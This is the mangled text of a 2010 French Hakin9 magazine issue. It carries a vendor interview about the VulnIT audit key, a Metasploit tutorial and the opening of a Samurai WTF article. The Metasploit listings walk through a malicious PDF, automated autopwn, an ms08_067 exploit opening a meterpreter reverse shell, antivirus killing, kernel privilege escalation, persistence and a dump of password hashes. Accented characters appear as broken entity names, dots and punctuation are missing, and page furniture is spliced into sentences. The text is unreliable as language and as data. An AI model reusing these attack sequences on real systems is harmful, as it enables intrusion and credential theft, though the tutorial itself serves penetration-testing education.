Dans un souci constant drsquoefficaciteacute et de transpa-rence nous nous sommes attacheacutes agrave deacutevelopper une solution accessible tant en termes de simpliciteacute drsquoutilisation que de prix Ainsi le produit lrsquointerface graphique et le rapport drsquoaudit ont eacuteteacute conccedilus pour permettre agrave lrsquoutilisateur de tirer le meilleur parti de la solution et drsquoameacuteliorer la seacutecuriteacute informatique de son entreprise

Nous sommes en avant-premiegravere de la solution innovante VulnIT Pouvez-vous nous en dire plus VulnIT VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation au-tomatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

Lrsquoaccessibiliteacute constitue le facteur diffeacuterenciant de la solution VulnIT En effet lrsquoenvironnement complet em-barqueacute dans la cleacute USB VulnIT assure sa portabiliteacute et sa souplesse drsquoutilisation lrsquoaccessibiliteacute financiegravere eacutega-lement permettant enfin aux entreprises de taille plus modeste de srsquooutiller dans un domaine encore reacuteserveacute agrave une expertise eacutelitiste

Enfin lrsquoapproche par les risques ndash avec une reacuteelle qualification des vulneacuterabiliteacutes tenant compte de leur exploitabiliteacute ndash facilite la priorisation des corrections agrave effectuer

Quelles sont les fonctionnaliteacutes de la cleacute USB VulnIT VulnIT Une fois la cleacute USB inseacutereacutee dans le poste drsquoaudit il suffit de preacuteciser quel(s) serveur(s) auditer pour obtenir en quelques instants un rapport preacutecis et didactique recensant les vulneacuterabiliteacutes deacutetecteacutees et le moyen de les reacutesoudre

La solution VulnIT integravegre ainsi un panel de tests criti-ques sur les bases de donneacutees la messagerie les par-tages de fichiers les connexions agrave distance la super-vision reacuteseau etc Ces tests sont exeacutecuteacutes selon les services identifieacutes sur les serveurs constituant la cible drsquoaudit

De plus la solution repose sur une architecture particuliegraverement eacutevolutive srsquoenrichissant freacutequemment de nouveaux tests de seacutecuriteacute par simple mise agrave jour sur Internet

A qui est adresseacute ce nouveau produit VulnIT Ce produit srsquoadresse en premier lieu aux entre-prises de taille intermeacutediaire (250 agrave 5000 personnes) de tout secteur dont la maturiteacute informatique a deacutepasseacute la mise en œuvre des architectures de seacutecuriteacute eacuteleacutemen-taires (pare-feu antivirus antispam etc) mais qui ne disposent pas encore drsquoun controcircle permanent en seacute-curiteacute informatique ni mecircme pour la plupart drsquoun RSSI nommeacute

Par ailleurs les auditeurs et consultants en seacutecuri-teacute informatique appreacutecieront notre outil pour le gain de temps qursquoil offre en automatisant les tests de seacutecuriteacute fondamentaux et reacutecurrents agrave chaque audit

Pour quand est preacutevue sa sortie officielle VulnIT La premiegravere version de la solution sera com-mercialiseacutee agrave partir de juin 2010 Elle sera rapidement enrichie par les tests de sites web de patch manage-ment et des eacuteleacutements drsquoarchitecture (pare-feux rou-teurs)

Ougrave pourrons-nous acheter la solution VulnIT VulnIT La solution VulnIT sera disponible sur com-mande uniquement en nous contactant via notre si-te web (httpwwwvulnitcom) ou par teacuteleacutephone (0155949271)

Nous remercions M Vincent Maury pour avoir reacutepondu aux questions de Hakin9

VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation automatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

5201022

Focus

Le Projet Metasploit est un projet open-source visant agrave fournir des informations et des utilitai-res destineacutes aux pen-testers aux chercheurs

en seacutecuriteacute des systegravemes dinformations et aux deacute-veloppeurs de signatures dIDS (Intrusion Detection System) Creacuteeacute par HD Moore en 2003 Metasploit eacutetait agrave lorigine un jeu en reacuteseau deacuteveloppeacute en Perl Le plus connu des sous-projets est le Metasploit

Framework deacuteveloppeacute en Ruby agrave la fois un logi-ciel de pen-testing et une plateforme de deacutevelop-pement pour la creacuteation dutilitaires de seacutecuriteacute et dexploits

Parmi les autres sous-projets nous trouvons Warvox (httpwarvoxorg) eacutecrit en Ruby et publieacute en 2009 une suite dutilitaires destineacutee agrave laudit des systegravemes de teacute-leacutephonie

Le projet Metasploit

Parmi les outils deacutedieacutes agrave la seacutecuriteacute informatique le projet Metasploit a marqueacute son temps avec le Metasploit Framework Nous allons preacutesenter cet outil deacutedieacute agrave la recherche leacutecriture et lexploitation de vulneacuterabiliteacutes Nous eacutetudierons les diffeacuterences avec Metasploit Express le nouveau logiciel de Rapid7

cet article expliquebull deacutefinition du projet Metasploitbull lutilisation de Metasploit Framework et Metasploit Express

ce quil faut savoirbull utilisation de Linux

Alexandre LAcAN

Listing 1 Exeacutecution du module auxiliaire fakedns

msf gt use auxiliaryserverfakedns

msf auxiliary(fakedns) gt set targethost 1921680200

targethost =gt 1921680200

msf auxiliary(fakedns) gt exploit

[] Auxiliary module execution completed

msf auxiliary(fakedns) gt

[] DNS server initializing

[] DNS server started

Dans une autre fenecirctre nous pouvons veacuterifier le bon fonctionnement

rootlades-desktophomeuser nslookup updatemicrosoftcom 127001

Server 127001

Address 12700153

Non-authoritative answer

Name updatemicrosoftcom

Address 1921680200

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 23

me Egypt et Jduck Ce rachat a permis linteacutegration de NeXpose (la version Community Edition est gratuite) avec Metasploit Framework associant un scanner de vulneacuterabiliteacutes avec un logiciel dexploitation de vulneacute-rabiliteacutes Nous verrons au cours de cet article lavan-tage que cela procure

Enfin le 22 avril 2010 HD Moore a annonceacute sur son blog (httpblogmetasploitcom) la parution dun nou-veau logiciel Metasploit Express Cet outil est une solution destineacute aux consultants et aux pen-testers professionnels permettant de faciliter lutilisation du Framework Metasploit et de NeXpose en automatisant au maximum les tests de peacuteneacutetrations Contrairement aux autres projets Metasploit Express est sous licence proprieacutetaire et payant Un prix de 3000 $ par utilisa-teur et par an a eacuteteacute annonceacute par HD Moore sur Twitter (httptwittercomhdmoore) Depuis le rachat du projet Metasploit des interrogations sur lavenir de la licence ont eacutemergeacutees Cependant plusieurs fois HD Moore a tenu a rassureacute la communauteacute des utilisateurs en affirmant que le Metasploit Framework restera open-source et gratuit sous licence BSD

Metasploit FrameworkLe Framework dispose de plusieurs base de don-neacutees La base dopcode est une ressource impor-

Le sous-projet Metasploit Decloaking Engine (httpdecloaknet) est un site web contenant un ensemble de test permettant de veacuterifier lanonymat dun utilisateur surfant derriegravere un proxy Un utilisateur du reacuteseau Tor (httpwwwtorprojectorg) peut effectuer ce test pour veacuterifier que les paramegravetres de son navigateur ne trahis-sent pas sa veacuteritable adresse IP

Metasploit Anti-Forensics Project (httpwwwme-tasploitcomresearchprojectsantiforensics) creacuteeacute par Vinnie Liu et maintenu par la communauteacute vise agrave creacuteer des utilitaires et des techniques permettant de se proteacuteger contre la recherche de preuve (forensic evidence)

Enfin le sous-projet Rogue Network Link Detection (httpwwwmetasploitcomresearchprojectsro-gue_network) est un projet visant agrave deacutetecter les liens reacuteseaux (passerelles bornes wifi ) non autoriseacutes au sein de grand reacuteseaux permettant doutrepasser la seacute-curiteacute exisante (proxy IDS hellip) Ce dernier projet na pas eacuteteacute mis agrave jour depuis deacutecembre 2005

En octobre 2009 le projet Metasploit a eacuteteacute racheteacute par la socieacuteteacute Rapid7 (httpwwwrapid7com) eacuteditrice du scanner de vulneacuterabiliteacutes NeXpose HD Moore a rejoint la socieacuteteacute Rapid7 comme Chief Architect of Metasploit et Chief Security Officer of Rapid7 Dautres contributeurs du projets ont rejoint cette socieacuteteacute com-

Listing 2 Creacuteation dun PDF malicieux exeacutecutant calcexe lors de son ouverture

msf gt use exploitwindowsfileformatadobe_libtiff

msf exploit(adobe_libtiff) gt set PAYLOAD windowsexec

PAYLOAD =gt windowsexec

msf exploit(adobe_libtiff) gt set CMD calcexe

CMD =gt calcexe

msf exploit(adobe_libtiff) gt exploit

[] Creating msfpdf file

[] Generated output file optmetasploit3msf3dataexploitsmsfpdf

[] Exploit completed but no session was created

Listing 3 Inteacutegration de NeXpose avec le Metasploit Framework

msf gt db_create

[] Creating a new database instance

[] Successfully connected to the database

[] File rootmsf3sqlite3db

msf gt load nexpose

[] NeXpose integration has been activated

[] Successfully loaded plugin nexpose

msf gt nexpose_connect nxadminpassword1270013780

[] Connecting to NeXpose instance at 1270013780 with username nxadmin

msf gt nexpose_scan 17216154130

[] Scanning 1 addresses with template pentest-audit in sets of 32

[] Completed the scan of 1 addresses

msf gt db_autopwn -t -e -x -r

5201024

Focus

Listing 4 Exploit ms08_067 avec utilisation du payload meterpreter

msf gt use exploitwindowssmbms08_067_netapi

msf exploit(ms08_067_netapi) gt set PAYLOAD windows

meterpreterreverse_tcp

PAYLOAD =gt windowsmeterpreterreverse_tcp

msf exploit(ms08_067_netapi) gt set RHOST

17216154130

RHOST =gt 17216154130

msf exploit(ms08_067_netapi) gt exploit

[] Started reverse handler on 1721615414444

[] Automatically detecting the target

[] Fingerprint Windows XP Service Pack 2 ndash lang

French

[] Selected Target Windows XP SP2 French (NX)

[] Attempting to trigger the vulnerability

[] Sending stage (748032 bytes) to 17216154130

[] Meterpreter session 1 opened (1721615414444 -gt

172161541301103) at 2010-05-15

154435 +0200

meterpreter gt run killav

[] Killing Antivirus services on the target

[] Killing off cmdexe

meterpreter gt run kitrap0d

[] Currently running as AUTORITE NTSYSTEM

[] Loading the vdmallowed executable and DLL from the

local system

[] Uploading vdmallowed to CWINDOWSTEMP

EOcQDQQBndUZfexe

[] Uploading vdmallowed to CWINDOWSTEMP

vdmexploitdll

[] Escalating our process (PID1028)

Windows NT2KXP2K3VISTA2K87 NtVdmControl()-

gtKiTrap0d local ring0 exploit

-------------------------------------------- taviso

sdflonestarorg ---

[] GetVersionEx() =gt 51

[] NtQuerySystemInformation() =gt WINDOWSsystem32

ntkrnlpaexe804D7000

[] Searching for kernel 51 signature version 2

[+] Trying signature with index 3

[+] Signature found 0x285ee bytes from kernel base

[+] Starting the NTVDM subsystem by launching MS-DOS

executable

[] CreateProcess(CWINDOWStwunk_16exe) =gt 1644

[] OpenProcess(1644) =gt 0x17e8

[] Injecting the exploit thread into NTVDM subsystem

0x17e8

[] WriteProcessMemory(0x17e8 0x2070000 VDMEXPLOIT

DLL 14)

[] WaitForSingleObject(0x17dc INFINITE)

[] GetExitCodeThread(0x17dc 0012FF44) =gt 0x77303074

[+] The exploit thread reports exploitation was

successful

[+] w00t You can now use the shell opened earlier

[] Deleting files

[] Now running as AUTORITE NTSYSTEM

meterpreter gt run scraper

[] New session on 172161541301103

[] Gathering basic system information

[] Dumping password hashes

[] Obtaining the entire registry

[] Exporting HKCU

[] Downloading HKCU (CWINDOWSTEMPOEJanufereg)

[] Cleaning HKCU

[] Exporting HKLM

[] Downloading HKLM (CWINDOWSTEMPKNTyHcmjreg)

[] Cleaning HKLM

[] Exporting HKCC

[] Downloading HKCC (CWINDOWSTEMPKWEbwoWCreg)

[] Cleaning HKCC

[] Exporting HKCR

[] Downloading HKCR (CWINDOWSTEMPBItKbjvhreg)

[] Cleaning HKCR

[] Exporting HKU

[] Downloading HKU (CWINDOWSTEMPHYlpiwXmreg)

[] Cleaning HKU

[] Completed processing on 172161541301103

meterpreter gt run persistence

[] Creating a persistent agent LHOST=172161541

LPORT=4444 (interval=5

onboot=false)

[] Persistent agent script is 314297 bytes long

[] Uploaded the persistent agent to CDOCUME~1

ADMINI~1LOCALS~1Temp

vuMDpBKJVoZcWvbs

[] Agent executed with PID 1644

[] For cleanup use command run multi_console_command -

s rootmsf3logspersistenceLADES

168306B60_201005150314clean_up__201005150314rc

meterpreter gt hashdump

Administrateur500aad3b435b51404eeaad3b435b51404ee31

d6cfe0d16ae931b73c59d7e0c089c0

HelpAssistant1000531644fb0b5459853dd11198bd8b22e454

b0675178b1ddf7eac5f6d79d28dd1f

Invit501aad3b435b51404eeaad3b435b51404ee31d6cfe0d1

6ae931b73c59d7e0c089c0

SUPPORT_388945a01002

aad3b435b51404eeaad3b435b51404ee

b367d1ccc5e78972105e1b3e3834d47e

meterpreter gt sysinfo

Computer LADES-168306B60

OS Windows XP (Build 2600 Service Pack 2)

Arch x86

Language fr_FR

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 25

tante destineacutee aux deacuteveloppeurs dexploits Ceux-ci peuvent retrouver la position dopcode dans des pro-grammes attaqueacutes permettant le deacuteveloppement de buffer-overflows et dexploits qui peuvent fonctionner sur diffeacuterentes versions dun systegraveme dexploitation cible

La base de donneacutees dexploits mise a jour reacutegu-liegraverement est une ressource de vulneacuterabiliteacutes docu-menteacutees La base de shellcodes (ou payload) est un ensemble doutil permettant la post-exploitation dune faille Pour ecirctre plus clair lors dun test de peacuteneacutetration le pen-tester utilise un exploit pour injecter un pay-load Lexploit ouvre la faille et y deacutepose une charge utile (la payload) par exemple un serveur VNC ou un shell distant Par analogie guerriegravere la structure dun missile est lexploit lexplosif contenu dans le

missile est le payloadLe payload le plus connu du Framework est le Meterpreter Le Meterpreter est un shell distant destineacute aux machines sous Windows dont nous verrons les capaciteacutes au cours de cet ar-ticle

Enfin Le Framework dispose dune base de donneacutees de modules auxiliaires permettant dapporter des outils suppleacutementaires aux pentesters Par exemple le modu-le servercapturepop3 creacuteeacute un faux serveur POP3 qui accepte toutes les connexions entrantes permettant de reacutecupeacuterer des identifiants ce messagerie Au total le Framework dispose de presque 500 exploits et plus de 270 modules auxiliaires des scanners des modu-les serveurs des fuzzers etc Le listing 1 preacutesente lexeacutecution dun faux serveur DNS renvoyant toutes les requecirctes DNS vers ladresse 1921680200

Figure 2 Liste des hocirctes services et failles deacutecouverts

Figure 1 Page daccueil de Metasploit Express

5201026

Focus

Le Framework peut ecirctre teacuteleacutechargeacute agrave ladresse httpwwwmetasploitcomframeworkdownload Apregraves linstallation taper la commande msfupdate pour mettre agrave jour les diffeacuterentes base de donneacutees Le Framework dispose de plusieurs interfaces clients Linterface web se lance par la commande msfweb puis en tapant ladresse http12700155555 dans un navigateur Linterface graphique se lance par la commande msfgui Enfin linterface en ligne de com-mande se lance par msfconsole

ExemplesPour exeacutecuter un exploit il faut commencer par le seacutelectionner gracircce agrave la commande use Ensuite nous devons choisir un payload avec agrave la commande set La commande info nous permet de consulter les infor-mations et les options du payload ou de lexploit seacute-lectionneacute Les options (adresse IP cible port deacutecoute hellip) sont eacutegalement deacutefinies par la commande set Le listing 2 preacutesente lexploitation de la faille Adobe CVE-2010-0188 (voir Hakin9 avril 2010) permettant la creacuteation dun PDF malicieux Lors de louverture de ce fichier il est possible de lancer un exeacutecutable injecteacute dans le PDF ou disponible dans le systegraveme de fichier

cible Cette faille a eacuteteacute corrigeacute avec Adobe Reader 931

Le listing 3 preacutesente un exemple dinteacutegration du scanner de vulneacuterabiliteacutes NeXpose avec Metasploit Framework Tout dabord nous creacuteons une base de donneacutees (db_create) qui enregistrera les reacutesultats de notre audit Ensuite le module NeXpose (load_nexpose) nous permet de scanner un reacuteseau agrave la recherche de vulneacuterabiliteacutes Pour que cela fonctionne NeXpose doit bien sucircr avoir eacuteteacute installeacute et exeacutecuteacute Apregraves avoir lanceacute notre recherche de vulneacuterabiliteacutes contre la ma-chine 17216154130 nous lancerons lexploitation des vulneacuterabiliteacutes gracircce agrave la commande db_autopwn Il est possible de deacutefinir une plage dadresse IP en tant que cible Cependant si vous utilisez la version Com-munity de NeXpose vous ecirctes limiteacute agrave 32 adresses IP

MeterpreterLe listing 4 preacutesente lexploitation de la vulneacuterabiliteacute ms08_067 exploitable contre Windows XP SP2 et SP3 Nous injectons le payload Meterpreter gracircce agrave la commande set PAYLOAD Le Meterpreter est un shell distant deacuteveloppeacute par HD Moore offrant de

Figure 3 Liste des options pour lattaque par force brute

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 27

nombreuses possibiliteacutes au pen-tester Apregraves avoir obtenu un shell distant la commande run killav permet de deacutesactiver lantivirus de la cible La com-mande run kitrap0d exploite la faille CVE-2010-0232 touchant toutes les versions de Windows depuis 15 ans et permettant lobtention des droits maximum sur le systegraveme dexploitation Il est eacutegalement pos-sible de faire une copie deacutecran de la machine cible avec run screenshot de reacutecupeacuterer les informations didentifications des utilisateurs (credentials) avec run credcollect de reacutecupeacuterer un bureau agrave distance avec run vnc ou run getgui dexporter la base de registre

avec run scraper enregistrer les frappes du clavier avec run keylogrecorder et de permettre lexeacutecution du meterpreter automatiquement agrave chaque deacutemarrage par run persistence

bull use sniffer permet denregistrer le traffic reacuteseau bull execute lance une commande arbitrairebull sysinfo reacutecupegravere les informations du systegraveme dex-

ploitation bull reg interagit avec la base de registre distancebull upload envoi un fichier dans la systegraveme distantbull download reacutecupegravere un fichier agrave partir de la cible

Figure 4 Post-exploitation dune vulneacuterabiliteacute

Figure 5 Rapports daudit

5201028

Focus

bull portfwd permet de transfeacuterer un port local vers un service distant

bull run get _ local _ subnets permet de reacutecupeacuterer le sous-reacuteseau de la victime afin de rajouter une rou-te sur la machine attaquante (gracircce agrave la commande route add) puis dencapsuler le traffic pour le rediri-ger vers la reacuteseau local de la victime

De nombreuses autres possibiliteacutes existent Le si-te httpwwwoffensive-securitycommetasploit-un-leashed met agrave disposition un livre complet de preacutesen-tation de Metasploit Framework dont un chapitre en-tier est reacuteserveacute au Meterpreter Ce site est une ex-cellente source dinformations et offre de nombreux exemples

Metasploit ExpressAnnonceacute fin avril Metasploit Express est un logiciel destineacute aux pen-testers professionels Ce logiciel nest pas gratuit et sa licence est proprieacutetaire Il se constitue dune interface graphique (figure 1) et permet lautoma-tisation de tests de seacutecuriteacute en se basant sur Nexpose pour le scanner de vulneacuterabiliteacutes et sur le Framework pour lexploitation Il napporte aucun exploit ou payload suppleacutementaire car il embarque la version courante du Framework

En quelques clics au travers dune interface web le pen-tester peut lancer un scan nmap de deacutecouverte dhocirctes (figure 2) Pour le moment aucune option du scanner nmap nest configurable mais cette eacutevolution est preacutevue rapidement

En un clic nous pouvons lancer un scan de vulneacute-rabiliteacutes avec NeXpose contre les hocirctes deacutecouverts Un bouton Bruteforce permet de lancer une attaque intelligente par dictionnaire contre les services reacuteseau deacutecouverts (SSH SMB HTTP hellip) Le qualificatif in-telligent est ajouteacute car le dictionnaire utilise automa-tiquement les noms des machines ainsi que dautres noms deacutecouverts sur le reacuteseau Il est preacutevu dans le deacuteveloppement de pouvoir ajouteacute et geacuterer des listes de dictionnaires

Enfin le bouton Exploit permet de tenter une ex-ploitation de toutes les failles deacutecouvertes Ainsi ce

dernier clic peut nous permettre de disposer dun grand nombre de session Meterpreter avec tregraves peu de manipulations Sur chaque session obte-nue nous pouvons collecter les donneacutees sensibles du systegraveme (credentials capture deacutecran mots de passe information systegraveme) obtenir une session VNC acceacuteder facilement au systegraveme de fichier et obtenir la ligne de commande Meterpreter pour une utilisation plus fine

Enfin un onglet nous permet de creacuteer et geacuterer des rapports daudit en format web ou html

Pour finir longlet Modules permet lexploitation dune vulneacuterabiliteacute speacutecifique ou dun module auxiliaire contre une cible deacutefinie Il sagit de leacutequivalent graphi-que de la commande use exploit ou use auxiliary de msfconsole Les modules sont noteacutes de une agrave sept eacutetoi-les Ce classement permet de controcircler lordre deacutexecu-tion lors de lautomatisation dexploit La meacutethodologie de classement est accessible agrave ladresse httpwwwmetasploitcomredmineprojectsframeworkwikiEx-ploit_Ranking

conclusionMetasploit express est un outil agrave part entiegravere visant les pen-testers professionnels Il permet de beacuteneacutefi-cier de la puissance du Framework Metasploit et de celle de Nexpose en un minimum de temps Cet outil napporte donc aucune nouvelle possibiliteacute dexploita-tion mais facilite grandement le travail du consultant seacutecuriteacute

Pour les administrateurs avertis le Framework est un excellent moyen de veacuterifier la seacutecuriteacute de son reacuteseau et de sensibiliser les utilisateurs agrave la seacutecuriteacute infor-matique La maintien du Metasploit Framework sous licence BSD est une chance quil faut utiliser agrave bon escient

Agrave PRoPos DE LAuTEuRAuteur Alexandre LACANPour le contacter alexandrelacangmailcomhttptwittercomlades51

sur le reacuteseaubull httpwwwmetasploitcom ndash projet Metasploit bull httpwwwmetasploitcomredmineprojectsframeworkwi-

kindash wiki du projet Metasploitbull httpwwwrapid7com ndash site de la socieacuteteacute Rapid 7 eacuteditrice

de NeXpose et Metasploitbull httpwwwoff ensive-securitycommetasploit-unleashed ndash Ex-

cellent manuel dutilisation de Metasploit Framework agrave li-re absolument

bull httpblogmetasploitcom ndash Blog HD Moorebull httpwwwtwittercomhdmoorendash fi l twitter du creacuteateur de

Metasploit

5201030

pratique

La seacutecuriteacute des sites internet est aujourdhui lrsquoun des aspects de la seacutecuriteacute en entreprise le plus souvent neacutegligeacute alors qursquoil devrait ecirctre une prio-

riteacute dans nimporte quelle organisation De plus en plus les pirates informatiques concentrent leurs efforts sur les applications web afin drsquoobtenir une approche des in-formations confidentielles et abuser des donneacutees sensi-bles comme les deacutetails de clients les numeacuteros de carte de creacutedit et autre

Les applications web reacutealisant des achats en ligne des authentifications drsquoutilisateurs ou utilisant simple-ment tous types de contenu dynamique permettent agrave lrsquoutilisateur drsquointeragir avec des donneacutees contenues dans une base de donneacutees Sur certaines applica-tions ces donneacutees peuvent ecirctre personnelles voire sensibles Si ces applications web ne sont pas seacutecu-riseacutees votre base de donneacutees entiegravere court un risque reacuteel

Comme tous systegravemes informatiques une application web doit reacutepondre agrave trois caracteacuteristiques

bull Confidentialiteacutebull Disponibiliteacutebull Inteacutegriteacute

La seacutecurisation des reacuteseaux et lrsquoinstallation drsquoun pare-feu ne fournissent aucune protection contre les atta-ques web car elles sont lanceacutees sur le port 80 (le port par deacutefaut pour les sites Internet) qui doit rester ouvert Pour la strateacutegie de seacutecuriteacute la plus complegravete il est

donc urgent dauditer reacuteguliegraverement vos applications web pour veacuterifier la preacutesence de vulneacuterabiliteacutes exploi-tables

Pourquoi srsquoattaquer agrave une application web Les failles web permettent des actions de plus en plus

importantes de la part des pirates informatique Il est fini le temps ougrave le piratage drsquoun site Web consistait agrave affi-cher une simple fenecirctre sur la page de lrsquoutilisateur ou bien le vol drsquoun cookie De nos jours le piratage drsquoune application Web est nettement plus dangereux que cela deacutefaccedilage complet ou partiel drsquoun site Internet ou accegraves aux donneacutees sensibles des utilisateurs Les raisons de ces actions Les pirates informatiques sont principale-ment motiveacutes par deux raisons

Samurai proteacutegez vos applications web

Les failles web donnent une belle opportuniteacute aux pirates informatiques Samurai WTF est speacutecialiste dans les tests de peacuteneacutetration sur les applications web

Cet article expliquebull Lrsquoutilisation de Samuraibull La reacutecupeacuteration drsquoinformation

Ce quil faut savoirbull Les bases des sites webbull Les bases des attaques Web (Injection SQL Injection de code

Inclusion de fichier)

reacutegis Senet

Figure 1 Ecran de boot du Live CD

Samurai proteacutegez vos applications web

hakin9orgfr 31

nom de code The Hardy Heron Cette version a eacuteteacute pu-blieacutee en version stable le 24 avril 2008 soit agrave peine quel-ques mois avant la sortie de la premiegravere version de Sa-murai WTF

Samurai sappuyant sur Ubuntu GNOME (GNU Network Object Model Environment) se trouve ecirctre lrsquoen-vironnement graphique par deacutefaut

Samurai WTF est donc un LiveCD preacuteconfigureacute pour les tests de peacuteneacutetration des sites web Le LiveCD contient les meilleurs outils de cette cateacutegorie qursquoils soient Open Source ou bien gratuits

Lrsquoensemble de ces outils se divise en trois cateacutegories distinctes

bull Reconnaissancebull Deacutecouvertebull Exploitation

Nous preacutesenterons plus en deacutetails lrsquoensemble de ces cateacutegories dans le prochain module Nous preacutesente-rons eacutegalement en deacutetails les outils les plus importants disponibles sur ce LiveCD

Origine du projetLe projet Samurai Web Testing Framework a vu le jour pour sa premiegravere mise en ligne le 08 Octobre 2008 sous sa version 01 gracircce au travail de Kevin Johnson et Jus-tin Searle Kevin et Justin sont deux analystes en seacute-curiteacute informatique expeacuterimenteacutes ainsi que des admi-nistrateurs reacuteseaux et pen-tester aguerris Actuellement agrave sa version 04 Samurai WTF se voit srsquoameacuteliorer de version en version en fixant drsquoeacuteventuels bugs sur les logiciels preacutesents ainsi qursquoen ajoutant de nouveaux lo-giciels Parallegravelement agrave lrsquoeacutevolution du projet et sa pri-se drsquoimportance deux autres deacuteveloppeurs Franck Di-Maggio et Brian Bentley sont venus srsquoajouter au projet afin de travailler aux cocircteacutes des deux initiateurs du pro-jet Samurai WTF a pour objectif de devenir LA platefor-me de reacutefeacuterence en qualiteacute de peacuteneacutetration des applica-tions web devant le tregraves complet BackTrack qui agrave deacutejagrave

bull La gloire Le deacutefaccedilage drsquoun site rentre souvent dans cette cateacutegorie de piratage En effet le deacutefaccedila-ge drsquoun site sert parfois agrave marquer son territoire ou simplement agrave se faire connaicirctre par le monde des pirates en modifiant le site cible

bull Lrsquoargent Les pirates sont souvent attireacutes par lappacirct du gain qursquoil soit direct ou indirect Un gain direct est un gain leur revenant person-nellement alors qursquoun gain indirect se deacutefinirait plus comme eacutetant une perte pour lrsquoentreprise ci-ble En effet le vol drsquoinformations confidentielles comme les numeacuteros de carte bleue par exemple est un commerce de plus en plus porteur sur le net

En exemple de gain indirect en 2006 ChoicePoint a payeacute 10 millions de dollars dans les peines civiles et 5 millions dans le deacutedommagement de consomma-teurs apregraves que 163 000 dossiers financiers person-nels de consommateurs avaient eacuteteacute compromis dans sa base de donneacutees De mecircme un pirate informati-que a gagneacute lapproche agrave plus de cinq millions de nu-meacuteros de cartes de creacutedit en feacutevrier 2003 gracircce agrave une attaque dapplication web Il est temps drsquoinclure les si-tes web dans la politique de seacutecuriteacute des entreprises et ceci de maniegravere draconienne Pour ce faire nous allons maintenant vous preacutesenter Samurai Web Tes-ting Framework

qursquoest ce que Samurai Avec la deacutemocratisation des LiveCD speacutecialiseacutes Samurai nrsquoa pu deacuteroger agrave la regravegle Samurai ou plus preacuteciseacutement Samurai Web Testing Framework ou encore Samurai WTF est donc un LiveCD speacutecia-liseacute dans les tests de peacuteneacutetration sur les applica-tions web

Samurai WTF est un LiveCD fondeacute sur un envi-ronnement GNULinux Bien que moins habituelle qursquoOpenBSD FreeBSD et autre Samurai WTF sap-puie sur une distribution Ubuntu 804 LTS ayant pour

Figure 2 BootSplash de Samurai Figure 3 Ecran de login

5201032

pratique

eacutenormeacutement drsquoimportance aux yeux de tous les profes-sionnels de la seacutecuriteacute informatique Une nouvelle ver-sion 05 est attendue inteacutegrant le tout dernier KDE (KDE 41) fondeacute sur Kubuntu 810

Deacutemarrage du LiveCDComme sur lrsquoensemble des distributions GNULinux le boot du CD propose de nombreuses possibili-teacutes quant aux actions agrave entreprendre Encore une fois Samurai WTF ne deacuteroge pas agrave la regravegle (voir Figure 1)

A partir du menu il est possible

bull De deacutemarrer Samurai Web Testing Framework en mode graphique (safe mode ou pas)

bull Drsquoinstaller Samurai Web Testing Framework en dur en utilisant lrsquooutil de partitionnement connu drsquoUbun-tu

bull De veacuterifier que le CD ou le DVD nrsquoa aucun deacutefautbull De faire un test de meacutemoire (option disponible sur

tous les LiveCD)bull De deacutemarrer agrave partir du disque dur Cette option

trouve sont utiliteacute lorsque le CD se trouve dans le lecteur au deacutemarrage mais que lrsquoon veut booter nor-malement sur notre disque dur

Un des inteacuterecircts du LiveCD est quil ne laisse pas de trace car toutes les informations utiliseacutees au cours de son utilisation seront perdues lors de lextinction de la machine Pour cette raison nous allons utiliser la pre-miegravere option Start Samurai Web Testing Framework in Graphical Mode qui est lrsquooption par deacutefaut permettant simplement de lancer Samurai WTF en mode graphi-que

Le mode graphique se lance donc affichant le boots-plash de Samurai WTF durant le chargement de tous les modules (voir Figure 2)

Une fois lrsquoensemble des modules chargeacutes un eacutecran de login apparaicirct

Par deacutefaut le seul et unique identifiant pour la connexion se compose de login samurai coupleacute au mot de passe samurai(voir Figure 3) Par la suite rajoutez eacuteventuel-lement des utilisateurs gracircce agrave la commande useradd ou bien gracircce au gestionnaire graphique que contient Sa-murai WTF afin de restreindre lrsquoutilisation du LiveCD

Une fois loggeacute profitez pleinement de lrsquoensemble des fonctionnaliteacutes dont ce LiveCD regorge

Les menus preacutesents dans Samurai sont tregraves intuitifs et tregraves clairs permettant de vous adapter rapidement mecirc-me si vous nrsquoavez jamais installeacute une version drsquoUbuntu (voir Figure 4 et 5)

Samurai et ses outilsLe LiveCD dispose approximativement drsquoune tren-

taine drsquooutils destineacutes agrave mettre agrave mal tout type drsquoappli-cation web Comme nous vous lavions indiqueacute dans le module preacuteceacutedent lrsquoensemble de ces outils peut se deacutecomposer en trois cateacutegories agrave savoir

bull Reconnaissancebull Deacutecouvertebull Exploitation

reconnaissanceLa partie reconnaissance est une partie tregraves im-portante dans la mise en place drsquoune attaque

(que celle-ci soit porteacutee contre une application web ou autre) Dans le cas drsquoune application web il srsquoagit de faire de la reacutecupeacuteration drsquoinformation sur la cible La prise de connaissance peut inclure la reacutecupeacuteration drsquoadresses mail des informations concernant le titulai-re de lrsquoheacutebergement ainsi que bien drsquoautre possibiliteacutes Pour ces reacutecupeacuterations drsquoinformations les outils Fierce domain Scanner ainsi que Maltego sont disponibles sur Samurai WTF

DeacutecouverteexploitationLes parties deacutecouverte et reconnaissance sont geacuteneacutera-lement regroupeacutees en une seule phase lorsqursquoil srsquoagit

Figure 4 Bureau de Samurai sous Gnome Figure 5 Les menus sous Samurai

Samurai proteacutegez vos applications web

hakin9orgfr 33

drsquooutil automatiseacute La deacutecouverte drsquoune faille que ce soit des mauvaises configurations du serveur des failles de type cross site scripting (XSS) injection SQL inclusion de fichier ou bien drsquoautres encore permet de mettre en eacutevidence la preacutesence drsquoune faille sans pour autant lrsquoexploiter agrave 100 La partie exploitation quant agrave elle consiste agrave tenter drsquoexplorer la faille sous toutes ses coutures Pour ces parties des outils bien connus comme W3AF BeEF ou bien encore AJAXShell ont eacuteteacute incorporeacutes

La preacutesentation des outils que contient le LiveCD Sa-murai WTF ne se fera pas en fonction drsquoune apparte-nance agrave une cateacutegorie (reconnaissance deacutecouverte etou exploitation) mais dans un ordre alphabeacutetique com-me preacutesenteacute dans le menu du LiveCD Nous allons ten-ter de vous preacutesenter le plus preacuteciseacutement possible les outils importants

